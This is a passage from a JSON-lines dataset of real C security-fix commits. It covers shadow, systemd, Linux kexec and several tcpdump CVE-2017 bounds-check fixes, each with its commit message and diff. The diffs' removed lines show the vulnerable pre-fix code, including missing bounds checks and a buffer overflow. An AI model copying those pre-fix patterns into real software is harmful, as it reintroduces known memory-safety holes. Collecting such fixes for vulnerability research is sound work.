backing\nstore implement a check for invalid RSE state to avoid the series\nof illegal operation faults.\n\nThe core of the workaround is the RSE_WORKAROUND code sequence\ninserted into each invocation of the SAVE_MIN_WITH_COVER and\nSAVE_MIN_WITH_COVER_R19 macros. This sequence includes hard-coded\nconstants that depend on the number of stacked physical registers\nbeing 96. The rest of this patch consists of code to disable this\nworkaround should this not be the case (with the presumption that\nif a future Itanium processor increases the number of registers, it\nwould also remove the need for this patch).\n\nMove the start of the RBS up to a mod32 boundary to avoid some\ncorner cases.\n\nThe dispatch_illegal_op_fault code outgrew the spot it was\nsquatting in when built with this patch and CONFIG_VIRT_CPU_ACCOUNTING=y\nMove it out to the end of the ivt.\n\nSigned-off-by: Tony Luck ", "patch": "@@ -76,7 +76,7 @@\n # define KERNEL_STACK_SIZE_ORDER\t\t0\n #endif\n \n-#define IA64_RBS_OFFSET\t\t\t((IA64_TASK_SIZE + IA64_THREAD_INFO_SIZE + 15) & ~15)\n+#define IA64_RBS_OFFSET\t\t\t((IA64_TASK_SIZE + IA64_THREAD_INFO_SIZE + 31) & ~31)\n #define IA64_STK_OFFSET\t\t\t((1 << KERNEL_STACK_SIZE_ORDER)*PAGE_SIZE)\n \n #define KERNEL_STACK_SIZE\t\tIA64_STK_OFFSET", "sections": [{"section": "@@ -76,7 +76,7 @@\n # define KERNEL_STACK_SIZE_ORDER\t\t0\n #endif\n \n-#define IA64_RBS_OFFSET\t\t\t((IA64_TASK_SIZE + IA64_THREAD_INFO_SIZE + 15) & ~15)\n+#define IA64_RBS_OFFSET\t\t\t((IA64_TASK_SIZE + IA64_THREAD_INFO_SIZE + 31) & ~31)\n #define IA64_STK_OFFSET\t\t\t((1 << KERNEL_STACK_SIZE_ORDER)*PAGE_SIZE)\n \n #define KERNEL_STACK_SIZE\t\tIA64_STK_OFFSET", "related": false}]} +{"owner": "shadow-maint", "repo": "shadow", "language": "C", "file_name": "lib/commonio.c", "commit_id": "954e3d2e7113e9ac06632aee3c69b8d818cc8952", "commit_message": "Fix buffer overflow if NULL line is present in db.\n\nIf ptr->line == NULL for an entry, the first cycle will exit,\nbut the second one will happily write past entries buffer.\nWe actually do not want to exit the first cycle prematurely\non ptr->line == NULL.\nSigned-off-by: Tomas Mraz ", "patch": "@@ -751,16 +751,16 @@ commonio_sort (struct commonio_db *db, int (*cmp) (const void *, const void *))\n \tfor (ptr = db->head;\n \t (NULL != ptr)\n #if KEEP_NIS_AT_END\n-\t && (NULL != ptr->line)\n-\t && ( ('+' != ptr->line[0])\n-\t && ('-' != ptr->line[0]))\n+\t && ((NULL == ptr->line)\n+\t || (('+' != ptr->line[0])\n+\t && ('-' != ptr->line[0])))\n #endif\n \t ;\n \t ptr = ptr->next) {\n \t\tn++;\n \t}\n #if KEEP_NIS_AT_END\n-\tif ((NULL != ptr) && (NULL != ptr->line)) {\n+\tif (NULL != ptr) {\n \t\tnis = ptr;\n \t}\n #endif", "sections": [{"section": "@@ -751,16 +751,16 @@ commonio_sort (struct commonio_db *db, int (*cmp) (const void *, const void *))\n \tfor (ptr = db->head;\n \t (NULL != ptr)\n #if KEEP_NIS_AT_END\n-\t && (NULL != ptr->line)\n-\t && ( ('+' != ptr->line[0])\n-\t && ('-' != ptr->line[0]))\n+\t && ((NULL == ptr->line)\n+\t || (('+' != ptr->line[0])\n+\t && ('-' != ptr->line[0])))\n #endif\n \t ;\n \t ptr = ptr->next) {\n \t\tn++;\n \t}\n #if KEEP_NIS_AT_END\n-\tif ((NULL != ptr) && (NULL != ptr->line)) {\n+\tif (NULL != ptr) {\n \t\tnis = ptr;\n \t}\n #endif", "related": false}]} +{"owner": "keszybz", "repo": "systemd", "language": "C", "file_name": "src/nss-mymachines/nss-mymachines.c", "commit_id": "cb31827d62066a04b02111df3052949fda4b6888", "commit_message": "nss-mymachines: do not allow overlong machine names\n\nhttps://github.com/systemd/systemd/issues/2002", "patch": "@@ -416,6 +416,9 @@ enum nss_status _nss_mymachines_getpwnam_r(\n if (!e || e == p)\n goto not_found;\n \n+ if (e - p > HOST_NAME_MAX - 1) /* -1 for the last dash */\n+ goto not_found;\n+\n r = parse_uid(e + 1, &uid);\n if (r < 0)\n goto not_found;\n@@ -573,6 +576,9 @@ enum nss_status _nss_mymachines_getgrnam_r(\n if (!e || e == p)\n goto not_found;\n \n+ if (e - p > HOST_NAME_MAX - 1) /* -1 for the last dash */\n+ goto not_found;\n+\n r = parse_gid(e + 1, &gid);\n if (r < 0)\n goto not_found;", "sections": [{"section": "@@ -416,6 +416,9 @@ enum nss_status _nss_mymachines_getpwnam_r(\n if (!e || e == p)\n goto not_found;\n \n+ if (e - p > HOST_NAME_MAX - 1) /* -1 for the last dash */\n+ goto not_found;\n+\n r = parse_uid(e + 1, &uid);\n if (r < 0)\n goto not_found;\n", "related": false}, {"section": "@@ -573,6 +576,9 @@ enum nss_status _nss_mymachines_getgrnam_r(\n if (!e || e == p)\n goto not_found;\n \n+ if (e - p > HOST_NAME_MAX - 1) /* -1 for the last dash */\n+ goto not_found;\n+\n r = parse_gid(e + 1, &gid);\n if (r < 0)\n goto not_found;", "related": false}]} +{"owner": "mjg59", "repo": "linux", "language": "C", "file_name": "arch/x86/kernel/kexec-bzimage64.c", "commit_id": "4b2b64d5a6ebc84214755ebccd599baef7c1b798", "commit_message": "kexec/uefi: copy secure_boot flag in boot params across kexec reboot\n\nKexec reboot in case secure boot being enabled does not keep the secure\nboot mode in new kernel, so later one can load unsigned kernel via legacy\nkexec_load. In this state, the system is missing the protections provided\nby secure boot. Adding a patch to fix this by retain the secure_boot flag\nin original kernel.\n\nsecure_boot flag in boot_params is set in EFI stub, but kexec bypasses the\nstub. Fixing this issue by copying secure_boot flag across kexec reboot.\n\nSigned-off-by: Dave Young ", "patch": "@@ -180,6 +180,7 @@ setup_efi_state(struct boot_params *params, unsigned long params_load_addr,\n \tif (efi_enabled(EFI_OLD_MEMMAP))\n \t\treturn 0;\n \n+\tparams->secure_boot = boot_params.secure_boot;\n \tei->efi_loader_signature = current_ei->efi_loader_signature;\n \tei->efi_systab = current_ei->efi_systab;\n \tei->efi_systab_hi = current_ei->efi_systab_hi;", "sections": [{"section": "@@ -180,6 +180,7 @@ setup_efi_state(struct boot_params *params, unsigned long params_load_addr,\n \tif (efi_enabled(EFI_OLD_MEMMAP))\n \t\treturn 0;\n \n+\tparams->secure_boot = boot_params.secure_boot;\n \tei->efi_loader_signature = current_ei->efi_loader_signature;\n \tei->efi_systab = current_ei->efi_systab;\n \tei->efi_systab_hi = current_ei->efi_systab_hi;", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-rt6.c", "commit_id": "3c4d7c0ee30a30e5abff3d6d9586a3753101faf5", "commit_message": "CVE-2017-13725/IPv6 R.H.: Check for the existence of all fields before fetching them.\n\nDon't fetch the length field from the header until after we've checked\nfor the existence of a field at or after that field.\n\n(Found by code inspection, not by a capture.)", "patch": "@@ -45,13 +45,13 @@ rt6_print(netdissect_options *ndo, register const u_char *bp, const u_char *bp2\n \tregister const struct in6_addr *addr;\n \n \tdp = (const struct ip6_rthdr *)bp;\n-\tlen = dp->ip6r_len;\n \n \t/* 'ep' points to the end of available data. */\n \tep = ndo->ndo_snapend;\n \n \tND_TCHECK(dp->ip6r_segleft);\n \n+\tlen = dp->ip6r_len;\n \tND_PRINT((ndo, \"srcrt (len=%d\", dp->ip6r_len));\t/*)*/\n \tND_PRINT((ndo, \", type=%d\", dp->ip6r_type));\n \tND_PRINT((ndo, \", segleft=%d\", dp->ip6r_segleft));", "sections": [{"section": "@@ -45,13 +45,13 @@ rt6_print(netdissect_options *ndo, register const u_char *bp, const u_char *bp2\n \tregister const struct in6_addr *addr;\n \n \tdp = (const struct ip6_rthdr *)bp;\n-\tlen = dp->ip6r_len;\n \n \t/* 'ep' points to the end of available data. */\n \tep = ndo->ndo_snapend;\n \n \tND_TCHECK(dp->ip6r_segleft);\n \n+\tlen = dp->ip6r_len;\n \tND_PRINT((ndo, \"srcrt (len=%d\", dp->ip6r_len));\t/*)*/\n \tND_PRINT((ndo, \", type=%d\", dp->ip6r_type));\n \tND_PRINT((ndo, \", segleft=%d\", dp->ip6r_segleft));", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-juniper.c", "commit_id": "b534e304568585707c4a92422aeca25cf908ff02", "commit_message": "CVE-2017-12993/Juniper: Add more bounds checks.\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nAdd tests using the capture files supplied by the reporter(s).", "patch": "@@ -472,6 +472,7 @@ juniper_ggsn_print(netdissect_options *ndo,\n p+=l2info.header_len;\n gh = (struct juniper_ggsn_header *)&l2info.cookie;\n \n+ ND_TCHECK(*gh);\n if (ndo->ndo_eflag) {\n ND_PRINT((ndo, \"proto %s (%u), vlan %u: \",\n tok2str(juniper_protocol_values,\"Unknown\",gh->proto),\n@@ -492,6 +493,10 @@ juniper_ggsn_print(netdissect_options *ndo,\n }\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -519,6 +524,7 @@ juniper_es_print(netdissect_options *ndo,\n p+=l2info.header_len;\n ih = (const struct juniper_ipsec_header *)p;\n \n+ ND_TCHECK(*ih);\n switch (ih->type) {\n case JUNIPER_IPSEC_O_ESP_ENCRYPT_ESP_AUTHEN_TYPE:\n case JUNIPER_IPSEC_O_ESP_ENCRYPT_AH_AUTHEN_TYPE:\n@@ -564,6 +570,10 @@ juniper_es_print(netdissect_options *ndo,\n \n ip_print(ndo, p, l2info.length);\n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -588,6 +598,7 @@ juniper_monitor_print(netdissect_options *ndo,\n p+=l2info.header_len;\n mh = (const struct juniper_monitor_header *)p;\n \n+ ND_TCHECK(*mh);\n if (ndo->ndo_eflag)\n ND_PRINT((ndo, \"service-id %u, iif %u, pkt-type %u: \",\n EXTRACT_32BITS(&mh->service_id),\n@@ -598,6 +609,10 @@ juniper_monitor_print(netdissect_options *ndo,\n ip_heuristic_guess (ndo, p, l2info.length);\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -622,6 +637,7 @@ juniper_services_print(netdissect_options *ndo,\n p+=l2info.header_len;\n sh = (const struct juniper_services_header *)p;\n \n+ ND_TCHECK(*sh);\n if (ndo->ndo_eflag)\n ND_PRINT((ndo, \"service-id %u flags 0x%02x service-set-id 0x%04x iif %u: \",\n sh->svc_id,\n@@ -633,6 +649,10 @@ juniper_services_print(netdissect_options *ndo,\n ip_heuristic_guess (ndo, p, l2info.length);\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -740,6 +760,7 @@ juniper_pppoe_atm_print(netdissect_options *ndo,\n \n p+=l2info.header_len;\n \n+ ND_TCHECK2(p[0], 2);\n extracted_ethertype = EXTRACT_16BITS(p);\n /* this DLT contains nothing but raw PPPoE frames,\n * prepended with a type field*/\n@@ -752,6 +773,10 @@ juniper_pppoe_atm_print(netdissect_options *ndo,\n ND_PRINT((ndo, \"unknown ethertype 0x%04x\", extracted_ethertype));\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_pppoe_atm]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -940,6 +965,7 @@ juniper_atm1_print(netdissect_options *ndo,\n return l2info.header_len;\n }\n \n+ ND_TCHECK2(p[0], 3);\n if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */\n EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */\n \n@@ -958,6 +984,10 @@ juniper_atm1_print(netdissect_options *ndo,\n return l2info.header_len;\n \n \treturn l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_atm1]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -989,6 +1019,7 @@ juniper_atm2_print(netdissect_options *ndo,\n return l2info.header_len;\n }\n \n+ ND_TCHECK2(p[0], 3);\n if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */\n EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */\n \n@@ -1016,6 +1047,10 @@ juniper_atm2_print(netdissect_options *ndo,\n return l2info.header_len;\n \n \treturn l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_atm2]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n@@ -1280,6 +1315,7 @@ juniper_parse_header(netdissect_options *ndo,\n l2info->caplen -= l2info->header_len;\n \n /* search through the cookie table and copy values matching for our PIC type */\n+ ND_TCHECK(p[0]);\n while (lp->s != NULL) {\n if (lp->pictype == l2info->pictype) {\n \n@@ -1360,6 +1396,7 @@ juniper_parse_header(netdissect_options *ndo,\n case DLT_JUNIPER_MLFR:\n switch (l2info->cookie_type) {\n case LS_COOKIE_ID:\n+ ND_TCHECK2(p[0], 2);\n l2info->bundle = l2info->cookie[1];\n l2info->proto = EXTRACT_16BITS(p);\n l2info->header_len += 2;\n@@ -1383,6 +1420,7 @@ juniper_parse_header(netdissect_options *ndo,\n case DLT_JUNIPER_MFR:\n switch (l2info->cookie_type) {\n case LS_COOKIE_ID:\n+ ND_TCHECK2(p[0], 2);\n l2info->bundle = l2info->cookie[1];\n l2info->proto = EXTRACT_16BITS(p);\n l2info->header_len += 2;", "sections": [{"section": "@@ -472,6 +472,7 @@ juniper_ggsn_print(netdissect_options *ndo,\n p+=l2info.header_len;\n gh = (struct juniper_ggsn_header *)&l2info.cookie;\n \n+ ND_TCHECK(*gh);\n if (ndo->ndo_eflag) {\n ND_PRINT((ndo, \"proto %s (%u), vlan %u: \",\n tok2str(juniper_protocol_values,\"Unknown\",gh->proto),\n", "related": false}, {"section": "@@ -492,6 +493,10 @@ juniper_ggsn_print(netdissect_options *ndo,\n }\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -519,6 +524,7 @@ juniper_es_print(netdissect_options *ndo,\n p+=l2info.header_len;\n ih = (const struct juniper_ipsec_header *)p;\n \n+ ND_TCHECK(*ih);\n switch (ih->type) {\n case JUNIPER_IPSEC_O_ESP_ENCRYPT_ESP_AUTHEN_TYPE:\n case JUNIPER_IPSEC_O_ESP_ENCRYPT_AH_AUTHEN_TYPE:\n", "related": false}, {"section": "@@ -564,6 +570,10 @@ juniper_es_print(netdissect_options *ndo,\n \n ip_print(ndo, p, l2info.length);\n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -588,6 +598,7 @@ juniper_monitor_print(netdissect_options *ndo,\n p+=l2info.header_len;\n mh = (const struct juniper_monitor_header *)p;\n \n+ ND_TCHECK(*mh);\n if (ndo->ndo_eflag)\n ND_PRINT((ndo, \"service-id %u, iif %u, pkt-type %u: \",\n EXTRACT_32BITS(&mh->service_id),\n", "related": false}, {"section": "@@ -598,6 +609,10 @@ juniper_monitor_print(netdissect_options *ndo,\n ip_heuristic_guess (ndo, p, l2info.length);\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -622,6 +637,7 @@ juniper_services_print(netdissect_options *ndo,\n p+=l2info.header_len;\n sh = (const struct juniper_services_header *)p;\n \n+ ND_TCHECK(*sh);\n if (ndo->ndo_eflag)\n ND_PRINT((ndo, \"service-id %u flags 0x%02x service-set-id 0x%04x iif %u: \",\n sh->svc_id,\n", "related": false}, {"section": "@@ -633,6 +649,10 @@ juniper_services_print(netdissect_options *ndo,\n ip_heuristic_guess (ndo, p, l2info.length);\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_services]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -740,6 +760,7 @@ juniper_pppoe_atm_print(netdissect_options *ndo,\n \n p+=l2info.header_len;\n \n+ ND_TCHECK2(p[0], 2);\n extracted_ethertype = EXTRACT_16BITS(p);\n /* this DLT contains nothing but raw PPPoE frames,\n * prepended with a type field*/\n", "related": false}, {"section": "@@ -752,6 +773,10 @@ juniper_pppoe_atm_print(netdissect_options *ndo,\n ND_PRINT((ndo, \"unknown ethertype 0x%04x\", extracted_ethertype));\n \n return l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_pppoe_atm]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -940,6 +965,7 @@ juniper_atm1_print(netdissect_options *ndo,\n return l2info.header_len;\n }\n \n+ ND_TCHECK2(p[0], 3);\n if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */\n EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */\n \n", "related": false}, {"section": "@@ -958,6 +984,10 @@ juniper_atm1_print(netdissect_options *ndo,\n return l2info.header_len;\n \n \treturn l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_atm1]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -989,6 +1019,7 @@ juniper_atm2_print(netdissect_options *ndo,\n return l2info.header_len;\n }\n \n+ ND_TCHECK2(p[0], 3);\n if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */\n EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */\n \n", "related": false}, {"section": "@@ -1016,6 +1047,10 @@ juniper_atm2_print(netdissect_options *ndo,\n return l2info.header_len;\n \n \treturn l2info.header_len;\n+\n+trunc:\n+\tND_PRINT((ndo, \"[|juniper_atm2]\"));\n+\treturn l2info.header_len;\n }\n #endif\n \n", "related": false}, {"section": "@@ -1280,6 +1315,7 @@ juniper_parse_header(netdissect_options *ndo,\n l2info->caplen -= l2info->header_len;\n \n /* search through the cookie table and copy values matching for our PIC type */\n+ ND_TCHECK(p[0]);\n while (lp->s != NULL) {\n if (lp->pictype == l2info->pictype) {\n \n", "related": false}, {"section": "@@ -1360,6 +1396,7 @@ juniper_parse_header(netdissect_options *ndo,\n case DLT_JUNIPER_MLFR:\n switch (l2info->cookie_type) {\n case LS_COOKIE_ID:\n+ ND_TCHECK2(p[0], 2);\n l2info->bundle = l2info->cookie[1];\n l2info->proto = EXTRACT_16BITS(p);\n l2info->header_len += 2;\n", "related": false}, {"section": "@@ -1383,6 +1420,7 @@ juniper_parse_header(netdissect_options *ndo,\n case DLT_JUNIPER_MFR:\n switch (l2info->cookie_type) {\n case LS_COOKIE_ID:\n+ ND_TCHECK2(p[0], 2);\n l2info->bundle = l2info->cookie[1];\n l2info->proto = EXTRACT_16BITS(p);\n l2info->header_len += 2;", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-gre.c", "commit_id": "1dcd10aceabbc03bf571ea32b892c522cbe923de", "commit_message": "CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print().\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nDon't pass the remaining caplen - that's too hard to get right, and we\nwere getting it wrong in at least one case; just use ND_TTEST().\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -227,7 +227,7 @@ gre_print_0(netdissect_options *ndo, const u_char *bp, u_int length)\n \t\tatalk_print(ndo, bp, len);\n \t\tbreak;\n \tcase ETHERTYPE_GRE_ISO:\n-\t\tisoclns_print(ndo, bp, len, ndo->ndo_snapend - bp);\n+\t\tisoclns_print(ndo, bp, len);\n \t\tbreak;\n \tcase ETHERTYPE_TEB:\n \t\tether_print(ndo, bp, len, ndo->ndo_snapend - bp, NULL, NULL);", "sections": [{"section": "@@ -227,7 +227,7 @@ gre_print_0(netdissect_options *ndo, const u_char *bp, u_int length)\n \t\tatalk_print(ndo, bp, len);\n \t\tbreak;\n \tcase ETHERTYPE_GRE_ISO:\n-\t\tisoclns_print(ndo, bp, len, ndo->ndo_snapend - bp);\n+\t\tisoclns_print(ndo, bp, len);\n \t\tbreak;\n \tcase ETHERTYPE_TEB:\n \t\tether_print(ndo, bp, len, ndo->ndo_snapend - bp, NULL, NULL);", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-zephyr.c", "commit_id": "0318fa8b61bd6c837641129d585f1a73c652b1e0", "commit_message": "CVE-2017-12900/Properly terminate all struct tok arrays.\n\nThis fixes a buffer over-read discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levomäki.\n\nAdd tests using the capture files supplied by the reporter(s).", "patch": "@@ -76,7 +76,8 @@ static const struct tok z_types[] = {\n { Z_PACKET_SERVACK,\t\t\"serv-ack\" },\n { Z_PACKET_SERVNAK,\t\t\"serv-nak\" },\n { Z_PACKET_CLIENTACK,\t\"client-ack\" },\n- { Z_PACKET_STAT,\t\t\"stat\" }\n+ { Z_PACKET_STAT,\t\t\"stat\" },\n+ { 0,\t\t\tNULL }\n };\n \n static char z_buf[256];", "sections": [{"section": "@@ -76,7 +76,8 @@ static const struct tok z_types[] = {\n { Z_PACKET_SERVACK,\t\t\"serv-ack\" },\n { Z_PACKET_SERVNAK,\t\t\"serv-nak\" },\n { Z_PACKET_CLIENTACK,\t\"client-ack\" },\n- { Z_PACKET_STAT,\t\t\"stat\" }\n+ { Z_PACKET_STAT,\t\t\"stat\" },\n+ { 0,\t\t\tNULL }\n };\n \n static char z_buf[256];", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-pktap.c", "commit_id": "ca336198e8bebccc18502de27672fdbd6eb34856", "commit_message": "CVE-2017-13007/PKTAP: Pass a properly updated struct pcap_pkthdr to the sub-dissector.\n\nThe sub-dissector expects that the length and captured length will\nreflect the actual remaining data in the packet, not the raw amount\nincluding the PKTAP header; pass an updated header, just as we do for\nPPI.\n\nThis fixes a buffer over-read discovered by Yannick Formaggio.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -104,6 +104,7 @@ pktap_if_print(netdissect_options *ndo,\n \tu_int length = h->len;\n \tif_printer printer;\n \tconst pktap_header_t *hdr;\n+\tstruct pcap_pkthdr nhdr;\n \n \tif (caplen < sizeof(pktap_header_t) || length < sizeof(pktap_header_t)) {\n \t\tND_PRINT((ndo, \"[|pktap]\"));\n@@ -144,7 +145,10 @@ pktap_if_print(netdissect_options *ndo,\n \n \tcase PKT_REC_PACKET:\n \t\tif ((printer = lookup_printer(dlt)) != NULL) {\n-\t\t\thdrlen += printer(ndo, h, p);\n+\t\t\tnhdr = *h;\n+\t\t\tnhdr.caplen = caplen;\n+\t\t\tnhdr.len = length;\n+\t\t\thdrlen += printer(ndo, &nhdr, p);\n \t\t} else {\n \t\t\tif (!ndo->ndo_eflag)\n \t\t\t\tpktap_header_print(ndo, (const u_char *)hdr,", "sections": [{"section": "@@ -104,6 +104,7 @@ pktap_if_print(netdissect_options *ndo,\n \tu_int length = h->len;\n \tif_printer printer;\n \tconst pktap_header_t *hdr;\n+\tstruct pcap_pkthdr nhdr;\n \n \tif (caplen < sizeof(pktap_header_t) || length < sizeof(pktap_header_t)) {\n \t\tND_PRINT((ndo, \"[|pktap]\"));\n", "related": false}, {"section": "@@ -144,7 +145,10 @@ pktap_if_print(netdissect_options *ndo,\n \n \tcase PKT_REC_PACKET:\n \t\tif ((printer = lookup_printer(dlt)) != NULL) {\n-\t\t\thdrlen += printer(ndo, h, p);\n+\t\t\tnhdr = *h;\n+\t\t\tnhdr.caplen = caplen;\n+\t\t\tnhdr.len = length;\n+\t\t\thdrlen += printer(ndo, &nhdr, p);\n \t\t} else {\n \t\t\tif (!ndo->ndo_eflag)\n \t\t\t\tpktap_header_print(ndo, (const u_char *)hdr,", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-ppp.c", "commit_id": "7029d15f148ef24bb7c6668bc640f5470d085e5a", "commit_message": "CVE-2017-13029/PPP: Fix a bounds check, and clean up other bounds checks.\n\nFor configuration protocol options, use ND_TCHECK() and\nND_TCHECK_nBITS() macros, passing them the appropriate pointer argument.\nThis fixes one case where the ND_TCHECK2() call they replace was not\nchecking enough bytes.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s), modified\nso the capture file won't be rejected as an invalid capture.", "patch": "@@ -611,7 +611,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 3);\n+\t\tND_TCHECK_24BITS(p + 2);\n \t\tND_PRINT((ndo, \": Vendor: %s (%u)\",\n \t\t\ttok2str(oui_values,\"Unknown\",EXTRACT_24BITS(p+2)),\n \t\t\tEXTRACT_24BITS(p + 2)));\n@@ -630,23 +630,23 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %u\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_ACCM:\n \t\tif (len != 6) {\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_AP:\n \t\tif (len < 4) {\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %s\", tok2str(ppptype2str, \"Unknown Auth Proto (0x04x)\", EXTRACT_16BITS(p + 2))));\n \n \t\tswitch (EXTRACT_16BITS(p+2)) {\n@@ -668,7 +668,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p+2);\n \t\tif (EXTRACT_16BITS(p+2) == PPP_LQM)\n \t\t\tND_PRINT((ndo, \": LQR\"));\n \t\telse\n@@ -679,7 +679,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_PFC:\n@@ -691,7 +691,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%04x\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_CBACK:\n@@ -710,7 +710,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %u\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_MLED:\n@@ -1055,7 +1055,7 @@ print_ipcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p+2);\n \t\tcompproto = EXTRACT_16BITS(p+2);\n \n \t\tND_PRINT((ndo, \": %s (0x%02x):\",\n@@ -1241,7 +1241,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 3)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[2]);\n \t\tND_PRINT((ndo, \": Version: %u, Dictionary Bits: %u\",\n \t\t\tp[2] >> 5, p[2] & 0x1f));\n \t\tbreak;\n@@ -1250,7 +1250,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[3]);\n \t\tND_PRINT((ndo, \": Features: %u, PxP: %s, History: %u, #CTX-ID: %u\",\n \t\t\t\t(p[2] & 0xc0) >> 6,\n \t\t\t\t(p[2] & 0x20) ? \"Enabled\" : 